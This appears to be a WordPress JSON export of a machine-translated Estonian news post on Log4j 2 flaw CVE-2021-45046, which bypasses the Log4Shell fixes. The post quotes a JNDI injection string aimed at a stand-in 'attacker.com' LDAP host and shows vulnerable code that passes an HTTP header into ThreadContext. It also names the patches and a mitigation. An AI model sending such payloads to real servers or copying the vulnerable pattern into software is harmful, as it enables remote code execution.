{"id":102619,"date":"2021-12-15T09:36:53","date_gmt":"2021-12-15T07:36:55","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu"},"modified":"2021-12-15T09:36:53","modified_gmt":"2021-12-15T07:36:55","slug":"novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","title":{"rendered":"Log4j 2-le on leitud uus r\u00fcnnakuv\u00f5imalus, mis v\u00f5imaldab m\u00f6\u00f6duda lisatud kaitsetest.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Log4j 2 biblioteegis tuvastati veel \u00fcks JNDI asenduste haavatavus (CVE-2021-45046), mis ilmneb, hoolimata 2.15 v\u00e4ljaandes tehtud parandusest ja s\u00f5ltumatult seadise «log4j2.noFormatMsgLookup» kasutamisest kaitseks. Probleem ohustab peamiselt vanemaid Log4j 2 versioone, mis on kaitstud «noFormatMsgLookup» lipuga, kuna see v\u00f5imaldab \u00fcmber minna eelneva haavatavuse (Log4Shell, CVE-2021-44228) kaitsele, mis v\u00f5imaldab k\u00e4ivitada oma koodi serveris. Versioonide 2.15 kasutajatel on \u00e4rakasutamine piiratud, p\u00f5hjustades rakenduse kogeteede ammendumise t\u00f5ttu kokku jooksu. <\/p>\n

Haavatavus avaldub ainult s\u00fcsteemides, kus logimise ajal kasutatakse kontekstip\u00e4ringuid (Context Lookup), nagu ${ctx:loginId}, v\u00f5i MDC-malle (Thread Context Map), n\u00e4iteks %X, %mdc ja %MDC. Expluateerimine on k\u00e4rbitud tingimuste loomiseks, et logis v\u00e4lja anda andmeid, mis sisaldavad JNDI asendusi, kasutades rakenduses kontekstip\u00e4ringute v\u00f5i MDC-mallide m\u00e4\u00e4ratlemise reegleid logiv\u00e4ljundi vormindamiseks. <\/p>\n

LunaSeci teadlased m\u00e4rkisid, et Log4j versioonide puhul madalam kui 2.15 v\u00f5ib see haavatavus toimida uue Log4Shell r\u00fcnnakusuunana, mis viib koodi t\u00e4itmiseni, kui logimisel kasutatakse ThreadContexti v\u00e4ljendeid, kuhu kuuluvad v\u00e4listest allikast p\u00e4rinevad andmed, s\u00f5ltumata selleks kaitseks «noMsgFormatLookups» lipu v\u00f5i «%m{nolookups}» muster kasutamisest.

\"Log4j<\/center> <\/p>\n

Kaitse tagasiviimise probleem seisneb selles, et asemel, et otse asendada «${jndi:ldap:\/\/attacker.com\/a}», sisestatakse see v\u00e4ljend l\u00e4bi vahemuutuja, mida kasutatakse logimise vormindamisreeglites. N\u00e4iteks, kui logimisel kasutatakse konteksti p\u00e4ringut ${ctx:apiversion}, siis r\u00fcnnak v\u00f5ib toimuda andmete «${jndi:ldap:\/\/attacker.com\/a}» asendamise kaudu, mis salvestatakse apiversioni muutuja v\u00e4\u00e4rtusena. N\u00e4ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping(«\/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { \/\/ HTTP-pealkirja «X-Api-Version» v\u00e4\u00e4rtus edastatakse ThreadContextisse ThreadContext.put(«apiversion», apiVersion); \/\/ Logimisel k\u00e4sitletakse v\u00e4list v\u00e4\u00e4rtust apiversion koos asendusega ${ctx:apiversion} logger.info(«Received a request for API version»); return «Hello, world!»; } <\/p>\n

Log4j versioonis 2.15 saab haavatavust kasutada DoS-r\u00fcnnakute tegemiseks, edastades ThreadContext\u2019i v\u00e4\u00e4rtusi, mis p\u00f5hjustavad vormindamise \u0161ablooni t\u00f6\u00f6tlemise l\u00f5pmatuse.

\"Log4j<\/center> <\/p>\n

Haavatavuse blokeerimiseks on v\u00e4lja antud uuendused 2.16 ja 2.12.2. Log4j 2.16 haru puhul, peale versioonis 2.15 rakendatud parenduste ja JNDI LDAP p\u00e4ringute lokaliseerimise, on JNDI funktsionaalsus vaikimisi t\u00e4ielikult keelatud ning s\u00f5numi asendamise mallide toetus eemaldatud. Kaitse \u00fcmbers\u00f5iduna on soovitatud eemaldada JndiLookup klass classpathist (nt «zip -q -d log4j-core-*.jar org\/apache\/logging\/log4j\/core\/lookup\/JndiLookup.class»). <\/p>\n

Pakkide v\u00e4rskenduste j\u00e4lgimiseks saab k\u00fclastada distributsioonide lehte (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate lehti (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon\/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 «log4j2.noFormatMsgLookup» \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043b\u044f \u0441\u0442\u0430\u0440\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Log4j 2, \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0444\u043b\u0430\u0433\u0430 «noFormatMsgLookup», \u0442\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u0451\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043e\u0442 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (Log4Shell, CVE-2021-44228), […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":102620,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-102619","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Uus Log4j 2 milj\u00f6\u00f6 r\u00fcnnak, mis v\u00f5imaldab m\u00f6\u00f6da minna lisatud kaitset | ProHoster","description":"Log4j 2 teostatud JNDI asenduste rakendamises tuvastati veel \u00fcks haavatavus (CVE-2021-45046), mis ilmneb hoolimata versioonis 2.15 tehtud parandustest ja s\u00f5ltumata seadistuse kasutamisest.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 Log4j 2, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0437\u0430\u0449\u0438\u0442\u0443 | ProHoster","og:description":"\u0412 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a JNDI \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 Log4j 2 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-45046), \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0430\u044f\u0441\u044f \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a 2.15 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/novyj-variant-ataki-na-log4j-2-pozvolyayushhij-obojti-dobavlennuyu-zashhitu","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-12-15T07:36:55+00:00","article:modified_time":"2021-12-15T07:36:55+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"102619","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-12-15 07:37:04","updated":"2022-09-29 16:05:40","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/102619","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=102619"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/102619\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media\/102620"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=102619"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=102619"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=102619"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}